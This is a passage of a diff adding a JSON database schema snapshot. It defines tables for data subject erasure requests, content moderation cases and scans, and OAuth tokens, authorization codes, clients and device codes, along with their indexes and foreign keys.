+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "incidents_reportedBy_users_id_fk": {
+ "name": "incidents_reportedBy_users_id_fk",
+ "tableFrom": "incidents",
+ "tableTo": "users",
+ "columnsFrom": [
+ "reportedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.data_subject_requests": {
+ "name": "data_subject_requests",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "subject_email": {
+ "name": "subject_email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "request_type": {
+ "name": "request_type",
+ "type": "data_subject_request_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'erasure'"
+ },
+ "status": {
+ "name": "status",
+ "type": "data_subject_request_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "force_delete": {
+ "name": "force_delete",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "requested_by_user_id": {
+ "name": "requested_by_user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "requested_by_type": {
+ "name": "requested_by_type",
+ "type": "data_subject_requester_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'self'"
+ },
+ "legal_basis": {
+ "name": "legal_basis",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "received_at": {
+ "name": "received_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "sla_deadline": {
+ "name": "sla_deadline",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "started_at": {
+ "name": "started_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "completed_at": {
+ "name": "completed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "blocked_reason": {
+ "name": "blocked_reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "job_id": {
+ "name": "job_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "attempts": {
+ "name": "attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "last_error": {
+ "name": "last_error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "step_results": {
+ "name": "step_results",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "data_subject_requests_status_idx": {
+ "name": "data_subject_requests_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "data_subject_requests_sla_deadline_idx": {
+ "name": "data_subject_requests_sla_deadline_idx",
+ "columns": [
+ {
+ "expression": "sla_deadline",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "data_subject_requests_user_id_idx": {
+ "name": "data_subject_requests_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "data_subject_requests_user_id_users_id_fk": {
+ "name": "data_subject_requests_user_id_users_id_fk",
+ "tableFrom": "data_subject_requests",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "data_subject_requests_requested_by_user_id_users_id_fk": {
+ "name": "data_subject_requests_requested_by_user_id_users_id_fk",
+ "tableFrom": "data_subject_requests",
+ "tableTo": "users",
+ "columnsFrom": [
+ "requested_by_user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.content_blocks": {
+ "name": "content_blocks",
+ "schema": "",
+ "columns": {
+ "content_hash": {
+ "name": "content_hash",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "category": {
+ "name": "category",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "source": {
+ "name": "source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "case_id": {
+ "name": "case_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_by": {
+ "name": "created_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "content_blocks_case_id_idx": {
+ "name": "content_blocks_case_id_idx",
+ "columns": [
+ {
+ "expression": "case_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.content_cases": {
+ "name": "content_cases",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "target_type": {
+ "name": "target_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "target_id": {
+ "name": "target_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "content_hash": {
+ "name": "content_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'open'"
+ },
+ "category": {
+ "name": "category",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reporter_user_id": {
+ "name": "reporter_user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reporter_contact": {
+ "name": "reporter_contact",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reason": {
+ "name": "reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "snapshot": {
+ "name": "snapshot",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "steps": {
+ "name": "steps",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "content_cases_target_idx": {
+ "name": "content_cases_target_idx",
+ "columns": [
+ {
+ "expression": "target_type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "target_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_cases_reported_target_key": {
+ "name": "content_cases_reported_target_key",
+ "columns": [
+ {
+ "expression": "target_type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "target_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"content_cases\".\"status\" = 'reported'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_cases_content_hash_idx": {
+ "name": "content_cases_content_hash_idx",
+ "columns": [
+ {
+ "expression": "content_hash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_cases_status_created_at_idx": {
+ "name": "content_cases_status_created_at_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.content_reports": {
+ "name": "content_reports",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "case_id": {
+ "name": "case_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "category": {
+ "name": "category",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "source": {
+ "name": "source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "reporter_user_id": {
+ "name": "reporter_user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contact_email": {
+ "name": "contact_email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "content_reports_case_id_created_at_idx": {
+ "name": "content_reports_case_id_created_at_idx",
+ "columns": [
+ {
+ "expression": "case_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.content_scan_backfill": {
+ "name": "content_scan_backfill",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "phase": {
+ "name": "phase",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "start_after": {
+ "name": "start_after",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pass": {
+ "name": "pass",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "counts": {
+ "name": "counts",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "last_pass_counts": {
+ "name": "last_pass_counts",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pass_started_at": {
+ "name": "pass_started_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "last_completed_at": {
+ "name": "last_completed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lease_until": {
+ "name": "lease_until",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.content_scans": {
+ "name": "content_scans",
+ "schema": "",
+ "columns": {
+ "content_hash": {
+ "name": "content_hash",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "verdict": {
+ "name": "verdict",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "provider": {
+ "name": "provider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "provider_version": {
+ "name": "provider_version",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scores": {
+ "name": "scores",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mode": {
+ "name": "mode",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "outcome": {
+ "name": "outcome",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scanned_at": {
+ "name": "scanned_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.content_site_holds": {
+ "name": "content_site_holds",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "holder": {
+ "name": "holder",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "source": {
+ "name": "source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "case_id": {
+ "name": "case_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_by": {
+ "name": "created_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "content_site_holds_drive_holder_key": {
+ "name": "content_site_holds_drive_holder_key",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "holder",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_site_holds_user_id_idx": {
+ "name": "content_site_holds_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.oauth_access_tokens": {
+ "name": "oauth_access_tokens",
+ "schema": "",
+ "columns": {
+ "authenticatedAt": {
+ "name": "authenticatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authenticationAssurance": {
+ "name": "authenticationAssurance",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "tokenHash": {
+ "name": "tokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenPrefix": {
+ "name": "tokenPrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "familyId": {
+ "name": "familyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "clientId": {
+ "name": "clientId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scopes": {
+ "name": "scopes",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenVersion": {
+ "name": "tokenVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedReason": {
+ "name": "revokedReason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "oauth_access_tokens_family_id_idx": {
+ "name": "oauth_access_tokens_family_id_idx",
+ "columns": [
+ {
+ "expression": "familyId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_access_tokens_user_id_idx": {
+ "name": "oauth_access_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_access_tokens_client_id_idx": {
+ "name": "oauth_access_tokens_client_id_idx",
+ "columns": [
+ {
+ "expression": "clientId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_access_tokens_token_hash_idx": {
+ "name": "oauth_access_tokens_token_hash_idx",
+ "columns": [
+ {
+ "expression": "tokenHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_access_tokens_expires_at_idx": {
+ "name": "oauth_access_tokens_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "oauth_access_tokens_clientId_oauth_clients_id_fk": {
+ "name": "oauth_access_tokens_clientId_oauth_clients_id_fk",
+ "tableFrom": "oauth_access_tokens",
+ "tableTo": "oauth_clients",
+ "columnsFrom": [
+ "clientId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "oauth_access_tokens_userId_users_id_fk": {
+ "name": "oauth_access_tokens_userId_users_id_fk",
+ "tableFrom": "oauth_access_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "oauth_access_tokens_tokenHash_unique": {
+ "name": "oauth_access_tokens_tokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tokenHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.oauth_authorization_codes": {
+ "name": "oauth_authorization_codes",
+ "schema": "",
+ "columns": {
+ "authenticatedAt": {
+ "name": "authenticatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authenticationAssurance": {
+ "name": "authenticationAssurance",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "codeHash": {
+ "name": "codeHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "codePrefix": {
+ "name": "codePrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "clientId": {
+ "name": "clientId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "redirectUri": {
+ "name": "redirectUri",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "codeChallenge": {
+ "name": "codeChallenge",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "codeChallengeMethod": {
+ "name": "codeChallengeMethod",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scopes": {
+ "name": "scopes",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumedAt": {
+ "name": "consumedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "issuedFamilyId": {
+ "name": "issuedFamilyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "oauth_authorization_codes_client_id_idx": {
+ "name": "oauth_authorization_codes_client_id_idx",
+ "columns": [
+ {
+ "expression": "clientId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_authorization_codes_user_id_idx": {
+ "name": "oauth_authorization_codes_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_authorization_codes_code_hash_idx": {
+ "name": "oauth_authorization_codes_code_hash_idx",
+ "columns": [
+ {
+ "expression": "codeHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_authorization_codes_expires_at_idx": {
+ "name": "oauth_authorization_codes_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "oauth_authorization_codes_clientId_oauth_clients_id_fk": {
+ "name": "oauth_authorization_codes_clientId_oauth_clients_id_fk",
+ "tableFrom": "oauth_authorization_codes",
+ "tableTo": "oauth_clients",
+ "columnsFrom": [
+ "clientId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "oauth_authorization_codes_userId_users_id_fk": {
+ "name": "oauth_authorization_codes_userId_users_id_fk",
+ "tableFrom": "oauth_authorization_codes",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "oauth_authorization_codes_codeHash_unique": {
+ "name": "oauth_authorization_codes_codeHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "codeHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.oauth_clients": {
+ "name": "oauth_clients",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "clientId": {
+ "name": "clientId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "clientType": {
+ "name": "clientType",
+ "type": "OAuthClientType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "redirectUris": {
+ "name": "redirectUris",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isFirstParty": {
+ "name": "isFirstParty",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "disabledAt": {
+ "name": "disabledAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "oauth_clients_client_id_idx": {
+ "name": "oauth_clients_client_id_idx",
+ "columns": [
+ {
+ "expression": "clientId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "oauth_clients_clientId_unique": {
+ "name": "oauth_clients_clientId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "clientId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.oauth_device_codes": {
+ "name": "oauth_device_codes",
+ "schema": "",
+ "columns": {
+ "authenticatedAt": {
+ "name": "authenticatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authenticationAssurance": {
+ "name": "authenticationAssurance",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "deviceCodeHash": {
+ "name": "deviceCodeHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "deviceCodePrefix": {
+ "name": "deviceCodePrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userCodeHash": {
+ "name": "userCodeHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userCodePrefix": {
+ "name": "userCodePrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "clientId": {
+ "name": "clientId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scopes": {
+ "name": "scopes",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "approvedAt": {
+ "name": "approvedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "deniedAt": {
+ "name": "deniedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redeemedAt": {
+ "name": "redeemedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastPolledAt": {
+ "name": "lastPolledAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pollIntervalSeconds": {
+ "name": "pollIntervalSeconds",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 5
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "oauth_device_codes_client_id_idx": {
+ "name": "oauth_device_codes_client_id_idx",
+ "columns": [
+ {
+ "expression": "clientId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_device_codes_user_id_idx": {
+ "name": "oauth_device_codes_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_device_codes_device_code_hash_idx": {
+ "name": "oauth_device_codes_device_code_hash_idx",
+ "columns": [
+ {
+ "expression": "deviceCodeHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_device_codes_user_code_hash_idx": {
+ "name": "oauth_device_codes_user_code_hash_idx",
+ "columns": [
+ {
+ "expression": "userCodeHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_device_codes_expires_at_idx": {
+ "name": "oauth_device_codes_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
